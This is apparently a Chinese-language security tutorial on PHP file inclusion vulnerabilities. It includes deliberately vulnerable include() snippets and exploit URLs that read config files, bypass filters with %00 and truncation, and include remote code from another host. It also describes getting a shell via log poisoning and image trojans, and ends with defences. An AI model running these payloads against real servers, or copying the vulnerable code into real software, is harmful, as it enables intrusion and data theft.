文件包含總結
一、文件包含漏洞的原理
1、原理
網站開發者經常會把一些代碼插入到指定的地方,從而節省之間避免再次編寫 ,這就是包含函數的基礎解釋 ,但是我們不光可以包含我們預先指定的文件,也可以包含我們服務器內部的其他文件,前提條件就是我們需要有可讀的權限才能讀取這些文件 ,所以這樣就會導致文件包含漏洞
2、產生的原因
在網站的開發人員在開發網站的時候,會把經常重復使用的函數或者特定的頁面寫到單個文件中,需要使用的時候就直接調用此文件即可,而無需再次浪費時間再次編寫,這種操作通常被稱為文件包含。
如果我們沒有對文件的來源進行嚴格的審查,也就是程序員在編寫代碼的時候觸犯的邏輯性的錯誤就可能會導致文件讀取漏洞和其它類型的漏洞,我們已php為例,在php中常用的文函數有(include、require、include_once、require_once)
3、PHP文件包含函數
1)include()
被包含文件先按參數給出的路徑尋找,如果沒有給出目錄(只有文件名)時則按照 include_path指定的目錄尋找。如果在 include_path下沒找到該文件則 include 最后才在調用腳本文件所在的目錄和當前工作目錄下尋找。如果最后仍未找到文件則 include 結構會發出一條警告;
注:php開啟錯誤題型需要配置php.ini中disaply_errors為On
2)Require()
和 include幾乎完全一樣,除了處理失敗的方式不同之外。require 在出錯時產生 E_COMPILE_ERROR 級別的錯誤。換句話說將導致腳本中止而 include只產生警告(E_WARNING),腳本會繼續運行。
3)include_once()
和 include語句類似,唯一區別是如果該文件中已經被包含過,則不會再次包含,且 include_once 會返回 true。 如同此語句名字暗示的那樣,該文件只會包含一次。 include_once 可以用于在腳本執行期間同一個文件有可能被包含超過一次的情況下,想確保它只被包含一次以避免函數重定義,變量重新賦值等問題。
4)require_once()
require_once 語句和 require語句完全相同,唯一區別是 PHP 會檢查該文件是否已經被包含過,如果是則不會再次包含。
4、支持的協議和封裝協議
文件包含可以使用下面的協議:

file://協議

php://協議

執行任意代碼

寫入木馬


封裝協議的局限性:

測試:讀取源碼

二、編寫存在文件包含漏洞的代碼
下面通過編寫幾個簡單的文件包含頁面來演示文件包含漏洞
1、無過濾本地文件包含
<?php
$filename = $_GET['filename'];
include($filename);
?>
測試:讀取MySQL配置文件
http://127.0.0.1/1.php?filename=C:\phpStudy\PHPTutorial\MySQL\my.ini

2、有過濾本地文件包含
有限制本地文件包含漏洞是指代碼中為包含文件制定了特定的前綴或者.php、.html等擴展名,攻擊者需要繞過前綴或者擴展名過濾,才能利用文件包含漏洞讀取操作系統中的其他文件,獲取敏感信息。常見的有限制本地文件包含過濾繞過的方式主要:有%00截斷文件包含、路徑長度截斷文件包含、點號截斷文件包含這三種
<?php
$filename = $_GET['filename'];
include($filename.”.html”);
?>
繞過測試:
http://127.0.0.1/1.php?filename=test.txt%00.html

點號截斷適用于Windows系統,當點號的長度大于256B時,就可以造成擴展名截斷。

3、遠程文件包含
<?php
$filename = $_GET['filename'];
include($filename.”.html”);
?>
測試
問號繞過
http://127.0.0.1/test.php?filename=http://192.168.1.110/xiaohua.txt?
#號繞過
http://127.0.0.1/test.php?filename=http://192.168.1.110/xiaohua.txt%23(#號要編碼)
空格繞過
http://127.0.0.1/test.php?filename=http://192.168.1.110/xiaohua.txt%20(%20是空格的url編碼)
三、通過包含不同的文件getshell
1、allow_url_include 開啟的情況
在傳輸過程會對一些特殊字符進行url編碼,所以我們可以利用burp繞過這一步

2、包含日志文件getshell
默認安裝的時候是沒有開啟日志記錄功能的也就是不存在 access.log。但是默認存在php error log
訪問不帶payload的文件

可以看到有記錄

同樣burp抓包測試發現getshell


3、圖片馬getshell
在文件上傳的時候,

正常圖片上傳之后,通過文件包含漏洞,把圖片馬的路勁包含進include,則會把圖片馬當作php執行。
四、遠程文件包含和本地文件包含的區別
1)本地文件包含主要是包含服務器上的文件
2)遠程文件包含主要是通過http協議包含其他地方的資源
3)遠程文件包含比本地文件包含的危害大
五、如何進行防御
1)allow_url_fopen=off
2)allow_url_include=off
3)過濾./ ../
4)使用正則或者stristr過濾偽協議

浙公網安備 33010602011771號